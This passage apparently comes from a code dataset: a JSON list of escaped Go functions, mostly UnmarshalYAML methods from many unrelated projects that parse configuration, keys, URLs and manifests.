err\\n\\t}\\n\\treturn f.setFromString(s)\\n}\",\n \"func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&tf.Tasks); err == nil {\\n\\t\\ttf.Version = \\\"1\\\"\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar taskfile struct {\\n\\t\\tVersion string\\n\\t\\tExpansions int\\n\\t\\tOutput string\\n\\t\\tIncludes yaml.MapSlice\\n\\t\\tVars Vars\\n\\t\\tEnv Vars\\n\\t\\tTasks Tasks\\n\\t}\\n\\tif err := unmarshal(&taskfile); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Version = taskfile.Version\\n\\ttf.Expansions = taskfile.Expansions\\n\\ttf.Output = taskfile.Output\\n\\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Includes = includes\\n\\ttf.IncludeDefaults = defaultInclude\\n\\ttf.Vars = taskfile.Vars\\n\\ttf.Env = taskfile.Env\\n\\ttf.Tasks = taskfile.Tasks\\n\\tif tf.Expansions <= 0 {\\n\\t\\ttf.Expansions = 2\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *Field) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*f, err = NewField(s)\\n\\treturn err\\n}\",\n \"func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tobj := make(map[string]interface{})\\n\\tif err := unmarshal(&obj); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif value, ok := obj[\\\"authorizationUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.AuthorizationURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"tokenUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.TokenURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"refreshUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.RefreshURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"scopes\\\"]; ok {\\n\\t\\trbytes, err := yaml.Marshal(value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tvalue := map[string]string{}\\n\\t\\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tr.Scopes = value\\n\\t}\\n\\n\\texts := Extensions{}\\n\\tif err := unmarshal(&exts); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif len(exts) > 0 {\\n\\t\\tr.Extensions = exts\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f *Fixture) FromYAML(tmpl string, vals, dst interface{}) {\\n\\tf.t.Helper()\\n\\n\\tt, err := template.New(\\\"\\\").Parse(tmpl)\\n\\tif err != nil {\\n\\t\\tf.t.Fatalf(\\\"Invalid template: %s\\\", err)\\n\\t}\\n\\tvar buf bytes.Buffer\\n\\tif err := t.Execute(&buf, vals); err != nil {\\n\\t\\tf.t.Fatalf(\\\"Execute template: %s\\\", err)\\n\\t}\\n\\tif err := yaml.Unmarshal(bytes.TrimSpace(buf.Bytes()), dst); err != nil {\\n\\t\\tf.t.Fatal(err)\\n\\t}\\n}\",\n \"func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPrivateKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar str string\\n\\tif err = unmarshal(&str); err == nil {\\n\\t\\tw.Command = str\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar commandArray []string\\n\\tif err = unmarshal(&commandArray); err == nil {\\n\\t\\tw.Commands = commandArray\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //TODO: should be an error , something like UNhhandledError\\n}\",\n \"func parseYaml(yaml string) (*UnstructuredManifest, error) {\\n\\trawYamlParsed := &map[string]interface{}{}\\n\\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tunstruct := meta_v1_unstruct.Unstructured{}\\n\\terr = unstruct.UnmarshalJSON(rawJSON)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tmanifest := &UnstructuredManifest{\\n\\t\\tunstruct: &unstruct,\\n\\t}\\n\\n\\tlog.Printf(\\\"[DEBUG] %s Unstructed YAML: %+v\\\\n\\\", manifest, manifest.unstruct.UnstructuredContent())\\n\\treturn manifest, nil\\n}\",\n \"func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\n\\tif err := unmarshal(&s); err == nil {\\n\\t\\ti.File = s\\n\\t\\treturn nil\\n\\t}\\n\\tvar str struct {\\n\\t\\tFile string `yaml:\\\"file,omitempty\\\"`\\n\\t\\tRepository string `yaml:\\\"repository,omitempty\\\"`\\n\\t\\tNamespaceURI string `yaml:\\\"namespace_uri,omitempty\\\"`\\n\\t\\tNamespacePrefix string `yaml:\\\"namespace_prefix,omitempty\\\"`\\n\\t}\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ti.File = str.File\\n\\ti.Repository = str.Repository\\n\\ti.NamespaceURI = str.NamespaceURI\\n\\ti.NamespacePrefix = str.NamespacePrefix\\n\\treturn nil\\n}\",\n \"func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\\n\\tvo := reflect.ValueOf(o)\\n\\tunmarshalFn := yaml.Unmarshal\\n\\tif strict {\\n\\t\\tunmarshalFn = yaml.UnmarshalStrict\\n\\t}\\n\\tj, err := yamlToJSON(y, &vo, unmarshalFn)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error converting YAML to JSON: %v\\\", err)\\n\\t}\\n\\n\\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error unmarshaling JSON: %v\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\"=\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n var cfg Config\\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\\n if err != nil {\\n log.Fatalf(\\\"error: %v\\\", err)\\n }\\n return cfg\\n}\",\n \"func (p *Package) UnmarshalYAML(value *yaml.Node) error {\\n\\tpkg := &Package{}\\n\\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\\n\\tvar err error // for use in the switch below\\n\\n\\tlog.Trace().Interface(\\\"Node\\\", value).Msg(\\\"Pkg UnmarshalYAML\\\")\\n\\tif value.Tag != \\\"!!map\\\" {\\n\\t\\treturn fmt.Errorf(\\\"unable to unmarshal yaml: value not map (%s)\\\", value.Tag)\\n\\t}\\n\\n\\tfor i, node := range value.Content {\\n\\t\\tlog.Trace().Interface(\\\"node1\\\", node).Msg(\\\"\\\")\\n\\t\\tswitch node.Value {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\tpkg.Name = value.Content[i+1].Value\\n\\t\\t\\tif pkg.Name == \\\"\\\" {\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\tcase \\\"version\\\":\\n\\t\\t\\tpkg.Version = value.Content[i+1].Value\\n\\t\\tcase \\\"present\\\":\\n\\t\\t\\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Error().Err(err).Msg(\\\"can't parse installed field\\\")\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Trace().Interface(\\\"pkg\\\", pkg).Msg(\\\"what's in the box?!?!\\\")\\n\\t*p = *pkg\\n\\n\\treturn nil\\n}\",\n \"func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar res map[string]interface{}\\n\\tif err := unmarshal(&res); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr := mapstructure.Decode(res, &at)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\\n\\t\\tat.NonApplicable = true\\n\\t}\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tr, err := NewRegexp(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*re = r\\n\\treturn nil\\n}\",\n \"func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\\n\\tif value.Kind != yaml.MappingNode {\\n\\t\\treturn errors.New(\\\"expected mapping\\\")\\n\\t}\\n\\n\\tgc.versions = make(map[string]*VersionConfiguration)\\n\\tvar lastId string\\n\\n\\tfor i, c := range value.Content {\\n\\t\\t// Grab identifiers and loop to handle the associated value\\n\\t\\tif i%2 == 0 {\\n\\t\\t\\tlastId = c.Value\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Handle nested version metadata\\n\\t\\tif c.Kind == yaml.MappingNode {\\n\\t\\t\\tv := NewVersionConfiguration(lastId)\\n\\t\\t\\terr := c.Decode(&v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"decoding yaml for %q\\\", lastId)\\n\\t\\t\\t}\\n\\n\\t\\t\\tgc.addVersion(lastId, v)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// $payloadType: \\n\\t\\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\\n\\t\\t\\tswitch strings.ToLower(c.Value) {\\n\\t\\t\\tcase string(OmitEmptyProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(OmitEmptyProperties)\\n\\t\\t\\tcase string(ExplicitCollections):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitCollections)\\n\\t\\t\\tcase string(ExplicitProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitProperties)\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn errors.Errorf(\\\"unknown %s value: %s.\\\", payloadTypeTag, c.Value)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// No handler for this value, return an error\\n\\t\\treturn errors.Errorf(\\n\\t\\t\\t\\\"group configuration, unexpected yaml value %s: %s (line %d col %d)\\\", lastId, c.Value, c.Line, c.Column)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate int\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ti.set(candidate)\\n\\treturn nil\\n}\",\n \"func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\trate, err := ParseRate(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = rate\\n\\treturn nil\\n}\",\n \"func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tmp map[string]interface{}\\n\\tif err := unmarshal(&tmp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdata, err := json.Marshal(tmp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn json.Unmarshal(data, m)\\n}\",\n \"func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype tmp Connection\\n\\tvar s struct {\\n\\t\\ttmp `yaml:\\\",inline\\\"`\\n\\t}\\n\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unable to parse YAML: %s\\\", err)\\n\\t}\\n\\n\\t*r = Connection(s.tmp)\\n\\n\\tif err := utils.ValidateTags(r); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If options weren't specified, create an empty map.\\n\\tif r.Options == nil {\\n\\t\\tr.Options = make(map[string]interface{})\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tp string\\n\\tunmarshal(&tp)\\n\\tlevel, exist := LogLevelMapping[tp]\\n\\tif !exist {\\n\\t\\treturn errors.New(\\\"invalid mode\\\")\\n\\t}\\n\\t*l = level\\n\\treturn nil\\n}\",\n \"func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif defaultTestLimits != nil {\\n\\t\\t*l = *defaultTestLimits\\n\\t}\\n\\ttype plain TestLimits\\n\\treturn unmarshal((*plain)(l))\\n}\",\n \"func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain TestFileParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif s.Size == 0 {\\n\\t\\treturn errors.New(\\\"File 'size' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPush == nil {\\n\\t\\treturn errors.New(\\\"File 'histogram_bucket_push' must be defined\\\")\\n\\t}\\n\\tif s.HistogramBucketPull == nil {\\n\\t\\treturn errors.New(\\\"File 'histogram_bucket_pull' must be defined\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar mvList []string\\n\\tif err := unmarshal(&mvList); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMoves(mvList)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*moves = parsed\\n\\treturn nil\\n}\",\n \"func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMove(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*mv = *parsed\\n\\treturn nil\\n}\",\n \"func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tswitch act := RelabelAction(strings.ToLower(s)); act {\\n\\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\\n\\t\\t*a = act\\n\\t\\treturn nil\\n\\t}\\n\\treturn fmt.Errorf(\\\"unknown relabel action %q\\\", s)\\n}\",\n \"func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tvar validStrings []string\\n\\tfor _, validType := range validTypes {\\n\\t\\tvalidString := string(validType)\\n\\t\\tif validString == str {\\n\\t\\t\\t*t = validType\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\tvalidStrings = append(validStrings, validString)\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"invalid traffic controller type %s, valid types are: %v\\\", str, validStrings)\\n}\",\n \"func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar val string\\n\\tif err := unmarshal(&val); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn d.FromString(val)\\n}\",\n \"func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias PortMapping\\n\\taux := &struct {\\n\\t\\tProtocol string `json:\\\"protocol\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(p),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif aux.Protocol != \\\"\\\" {\\n\\t\\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown protocol value: %s\\\", aux.Protocol)\\n\\t\\t}\\n\\t\\tp.Protocol = PortMappingProtocol(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (vl *valueList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\n\\tvar err error\\n\\n\\tvar valueSlice []value\\n\\tif err = unmarshal(&valueSlice); err == nil {\\n\\t\\t*vl = valueSlice\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar valueItem value\\n\\tif err = unmarshal(&valueItem); err == nil {\\n\\t\\t*vl = valueList{valueItem}\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\\n\\targs := struct {\\n\\t\\tText string `pulumi:\\\"text\\\"`\\n\\t}{Text: text}\\n\\tvar ret struct {\\n\\t\\tResult []map[string]interface{} `pulumi:\\\"result\\\"`\\n\\t}\\n\\n\\tif err := ctx.Invoke(\\\"kubernetes:yaml:decode\\\", &args, &ret, opts...); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn ret.Result, nil\\n}\",\n \"func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPublicKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *RootableField) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfield, err := newField(s, true)\\n\\t*r = RootableField{Field: field}\\n\\treturn err\\n}\",\n \"func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tparsedURL, err := url.Parse(s)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"cannot parse proxy_url=%q as *url.URL: %w\\\", s, err)\\n\\t}\\n\\tu.url = parsedURL\\n\\treturn nil\\n}\",\n \"func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&r.ScalingConfig); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !r.ScalingConfig.IsEmpty() {\\n\\t\\t// Successfully unmarshalled ScalingConfig fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&r.Value); err != nil {\\n\\t\\treturn errors.New(`unable to unmarshal into int or composite-style map`)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tvar spec docs.ComponentSpec\\n\\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\tif spec.Plugin {\\n\\t\\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t\\t}\\n\\t\\taliased.Plugin = &pluginNode\\n\\t} else {\\n\\t\\taliased.Plugin = nil\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = InterfaceString(s)\\n\\treturn err\\n}\",\n \"func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\turlp, err := url.Parse(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tu.URL = urlp\\n\\treturn nil\\n}\",\n \"func (r *HTTPOrBool) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&r.HTTP); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !r.HTTP.IsEmpty() {\\n\\t\\t// Unmarshalled successfully to r.HTTP, unset r.Enabled, and return.\\n\\t\\tr.Enabled = nil\\n\\t\\t// this assignment lets us treat the main listener rule and additional listener rules equally\\n\\t\\t// because we eliminate the need for TargetContainerCamelCase by assigning its value to TargetContainer.\\n\\t\\tif r.TargetContainerCamelCase != nil && r.Main.TargetContainer == nil {\\n\\t\\t\\tr.Main.TargetContainer = r.TargetContainerCamelCase\\n\\t\\t\\tr.TargetContainerCamelCase = nil\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&r.Enabled); err != nil {\\n\\t\\treturn errors.New(`cannot marshal \\\"http\\\" field into bool or map`)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&a.AdvancedAliases); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif len(a.AdvancedAliases) != 0 {\\n\\t\\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\\n\\t\\ta.StringSliceOrString = StringSliceOrString{}\\n\\t\\treturn nil\\n\\t}\\n\\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\\n\\t\\treturn errUnmarshalAlias\\n\\t}\\n\\treturn nil\\n}\",\n \"func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar buildString string\\n\\tif err = unmarshal(&buildString); err == nil {\\n\\t\\t//str := command\\n\\t\\t//*w = CommandWrapper(str)\\n\\t\\tw.BuildString = buildString\\n\\t\\treturn nil\\n\\t}\\n\\t// if err != nil {\\n\\t// \\treturn err\\n\\t// }\\n\\t// return json.Unmarshal([]byte(str), w)\\n\\n\\tvar buildObject map[string]string\\n\\tif err = unmarshal(&buildObject); err == nil {\\n\\t\\t//str := command\\n\\t\\t//*w = CommandWrapper(commandArray[0])\\n\\t\\tw.BuildObject = buildObject\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //should be an error , something like UNhhandledError\\n}\",\n \"func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar t string\\n\\terr := unmarshal(&t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\\n\\t\\t*s = val\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"'%s' is not a valid token strategy\\\", t)\\n}\",\n \"func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\\n\\tvar s yaml.MapSlice\\n\\tif err := yaml.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif len(s) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\tresult := OrderedMap[K, V]{\\n\\t\\tidx: map[K]int{},\\n\\t\\titems: make([]OrderedMapItem[K, V], len(s)),\\n\\t}\\n\\tfor i, item := range s {\\n\\t\\tkb, err := yaml.Marshal(item.Key)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvar k K\\n\\t\\tif err := yaml.Unmarshal(kb, &k); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvb, err := yaml.Marshal(item.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvar v V\\n\\t\\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tresult.idx[k] = i\\n\\t\\tresult.items[i].Key = k\\n\\t\\tresult.items[i].Value = v\\n\\t}\\n\\t*m = result\\n\\treturn nil\\n}\",\n \"func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype defaults Options\\n\\tdefaultValues := defaults(*NewOptions())\\n\\n\\tif err := unmarshal(&defaultValues); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*options = Options(defaultValues)\\n\\n\\tif options.SingleLineDisplay {\\n\\t\\toptions.ShowSummaryFooter = false\\n\\t\\toptions.CollapseOnCompletion = false\\n\\t}\\n\\n\\t// the global options must be available when parsing the task yaml (todo: does order matter?)\\n\\tglobalOptions = options\\n\\treturn nil\\n}\",\n \"func (r *RequiredExtension) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// First try to just read the mixin name\\n\\tvar extNameOnly string\\n\\terr := unmarshal(&extNameOnly)\\n\\tif err == nil {\\n\\t\\tr.Name = extNameOnly\\n\\t\\tr.Config = nil\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// Next try to read a required extension with config defined\\n\\textWithConfig := map[string]map[string]interface{}{}\\n\\terr = unmarshal(&extWithConfig)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"could not unmarshal raw yaml of required extensions\\\")\\n\\t}\\n\\n\\tif len(extWithConfig) == 0 {\\n\\t\\treturn errors.New(\\\"required extension was empty\\\")\\n\\t} else if len(extWithConfig) > 1 {\\n\\t\\treturn errors.New(\\\"required extension contained more than one extension\\\")\\n\\t}\\n\\n\\tfor extName, config := range extWithConfig {\\n\\t\\tr.Name = extName\\n\\t\\tr.Config = config\\n\\t\\tbreak // There is only one extension anyway but break for clarity\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&d.raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := d.init(); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"verifying YAML data: %s\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (y *PipelineYml) Unmarshal() error {\\n\\n\\terr := yaml.Unmarshal(y.byteData, &y.obj)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif y.obj == nil {\\n\\t\\treturn errors.New(\\\"PipelineYml.obj is nil pointer\\\")\\n\\t}\\n\\n\\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\\n\\t//if err != nil {\\n\\t//\\treturn err\\n\\t//}\\n\\n\\t// re unmarshal to obj, because byteData updated by evaluate\\n\\terr = yaml.Unmarshal(y.byteData, &y.obj)\\n\\treturn err\\n}\",\n \"func (r *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value float64\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed := Rate(value)\\n\\tif err := parsed.Validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*r = parsed\\n\\n\\treturn nil\\n}\",\n \"func ParseYaml(input string) (R *Recipe, err error) {\\n\\t//parse yaml into pre-recipe structure\\n\\tvar pr preRecipe\\n\\terr = yaml.Unmarshal([]byte(input), &pr)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\t//set ids\\n\\t//first go through and set id's\\n\\tcounter := 0\\n\\tvar setID 